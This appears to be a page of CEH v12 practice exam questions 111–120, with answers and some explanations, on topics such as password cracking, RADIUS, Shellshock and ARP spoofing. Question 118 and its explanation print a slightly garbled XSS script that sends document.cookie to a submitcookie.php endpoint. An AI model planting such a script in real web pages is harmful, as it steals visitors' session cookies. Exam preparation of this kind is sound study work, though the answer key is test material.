What issue occurred for the users who clicked on the image?","acceptedAnswer":[{"@type":"Answer","text":"This php file silently executes the code and grabs the users session cookie and session ID.","comment":{"@type":"Comment","text":"Explanation: document.write(); (Cookie and session ID theft) https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable ‘cookie’. If the malicious user would inject this script into the website’s code, then it will be executed in the user’s browser and cookies will be sent to the malicious user."}}],"suggestedAnswer":[{"@type":"Answer","text":"The code inject a new cookie to the browser."},{"@type":"Answer","text":"The code redirects the user to another site."},{"@type":"Answer","text":"The code is a virus that is attempting to gather the users username and password."}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":120,"text":"You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?","acceptedAnswer":[{"@type":"Answer","text":"You should check your ARP table and see if there is one IP address with two different MAC addresses.","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates."},{"@type":"Answer","text":"You should use netstat to check for any suspicious connections with another IP address within the LAN."},{"@type":"Answer","text":"You cannot identify such an attack and must use a VPN to protect your traffic, r"}]}]}]}
ECCouncil certification · Exam 312-50v12

312-50v12 Mock Exam Page 12

Certified Ethical Hacker CEH v12

Free 312-50v12 mock exam questions 111–120, each with the answer and an explanation.

20 questions · 33 minutes · free, no sign-up

Free 312-50v12 questions

111–120 of 170 free
Question 111 Choose 1

Tony is a penetration tester tasked with performing a penetration test. After gaining initial
access to a target
system, he finds a list of hashed passwords.
Which of the following tools would not be useful for cracking the hashed passwords?

Show answerHide answer

Correct answer: A

John the Ripper

Question 112 Choose 1

Which tool can be used to silently copy files from USB devices?

Show answerHide answer

Correct answer: D

Use Dumper

Question 113 Choose 1

Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows systems?

Show answerHide answer

Correct answer: A

getsystem

Question 114 Choose 1

An attacker can employ many methods to perform social engineering against unsuspecting
employees, including scareware.
What is the best example of a scareware attack?

Show answerHide answer

Correct answer: D

A pop-up appears to a user stating, "Your computer may have been infected with
spyware. Click here to install an anti-spyware tool to resolve this issue."

Question 115 Choose 1

Leverox Solutions hired Arnold, a security professional, for the threat intelligence process.
Arnold collected information about specific threats against the organization. From this
information, he retrieved contextual information about security events and incidents that
helped him disclose potential risks and gain insight into attacker methodologies. He
collected the information from sources such as humans, social media, and chat rooms as
well as from events that resulted in cyberattacks. In this process, he also prepared a report
that includes identified malicious activities, recommended courses of action, and warnings
for emerging attacks. What is the type of threat intelligence collected by Arnold in the
above scenario?

Show answerHide answer

Correct answer: C

Operational threat intelligence

Question 116 Choose 1

An Internet Service Provider (ISP) has a need to authenticate users connecting via analog
modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private
Networks (VPN) over a Frame Relay network.
Which AAA protocol is the most likely able to handle this requirement?

Show answerHide answer

Correct answer: D

RADIUS

Explanation

Explanation: https://en.wikipedia.org/wiki/RADIUS
Remote Authentication Dial-In User Service (RADIUS) is a networking protocol that
provides centralized authentication, authorization, and accounting (AAA) management for
users who connect and use a network service.
RADIUS is a client/server protocol that runs in the application layer, and can use either
TCP or UDP. Network access servers, which control access to a network, usually contain a
RADIUS client component that communicates with the RADIUS server. RADIUS is often
the back-end of choice for 802.1X authentication. A RADIUS server is usually a
background process running on UNIX or Microsoft Windows.
Authentication and authorization
The user or machine sends a request to a Network Access Server (NAS) to gain access to
a particular network resource using access credentials. The credentials are passed to the
NAS device via the link-layer protocol—for example, Point-to-Point Protocol (PPP) in the
case of many dialup or DSL providers or posted in an HTTPS secure web form.
In turn, the NAS sends a RADIUS Access Request message to the RADIUS server,
requesting authorization to grant access via the RADIUS protocol.
This request includes access credentials, typically in the form of username and password
or security certificate provided by the user. Additionally, the request may contain other
information which the NAS knows about the user, such as its network address or phone
number, and information regarding the user's physical point of attachment to the NAS.
The RADIUS server checks that the information is correct using authentication schemes
such as PAP, CHAP or EAP. The user's proof of identification is verified, along with,
optionally, other information related to the request, such as the user's network address or
phone number, account status, and specific network service access privileges. Historically,
RADIUS servers checked the user's information against a locally stored flat-file database.
Modern RADIUS servers can do this or can refer to external sources—commonly SQL,
Kerberos, LDAP, or Active Directory servers—to verify the user's credentials.
Description automatically generated with medium confidence
The RADIUS server then returns one of three responses to the NAS:
1) Access-Reject,
2) Access-Challenge,
3) Access-Accept.
Access-Reject
The user is unconditionally denied access to all requested network resources. Reasons
may include failure to provide proof of identification or an unknown or inactive user
account.
Access-Challenge
Requests additional information from the user such as a secondary password, PIN, token,
or card. Access-Challenge is also used in more complex authentication dialogs where a
secure tunnel is established between the user machine and the Radius Server in a way
that the access credentials are hidden from the NAS.
Access-Accept
The user is granted access. Once the user is authenticated, the RADIUS server will often check that the user is authorized to use the network service requested. A given user may
be allowed to use a company's wireless network, but not its VPN service, for example.
Again, this information may be stored locally on the RADIUS server or may be looked up in
an external source such as LDAP or Active Directory.

Question 117 Choose 1

What is the most common method to exploit the “Bash Bug” or “Shellshock” vulnerability?

Show answerHide answer

Correct answer: C

Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed
environment variable to a vulnerable Web server

Question 118 Choose 1

Judy created a forum, one day. she discovers that a user is posting strange images without
writing comments.
She immediately calls a security expert, who discovers that the following code is hidden
behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+
escape(document.cookie)+ " />); </script>
What issue occurred for the users who clicked on the image?

Show answerHide answer

Correct answer: D

This php file silently executes the code and grabs the users session cookie and session ID.

Explanation

Explanation: document.write(<img.src=https://localhost/submitcookie.php cookie =+
escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/
As seen in the indicated question, cookies are escaped and sent to script to variable
‘cookie’. If the malicious user would inject this script into the website’s code, then it will be
executed in the user’s browser and cookies will be sent to the malicious user.

Question 119

James is working as an ethical hacker at Technix Solutions. The management ordered
James to discover how vulnerable its network is towards footprinting attacks. James took
the help of an open-source framework for performing automated reconnaissance activities.
This framework helped James in gathering information using free tools and resources.
What is the framework used by James to conduct footprinting and reconnaissance
activities?

Show answerHide answer

Correct answer: C

OSINT framework

Question 120 Choose 1

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use
your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how
would you identify whether someone is performing an ARP spoofing attack on your laptop?

Show answerHide answer

Correct answer: A

You should check your ARP table and see if there is one IP address with two different
MAC addresses.

Full mock exam

Sit the 312-50v12 exam before exam day

Full-length mocks with the same number of questions and the same time limit as the real 312-50v12 exam. Every attempt draws a new set of questions from the full bank, so you can keep going until you pass comfortably.

Get full 312-50v12 mock exam
  • 65questions per mock
  • 105 mintime limit
  • 569questions in the bank
  • Newmock on every attempt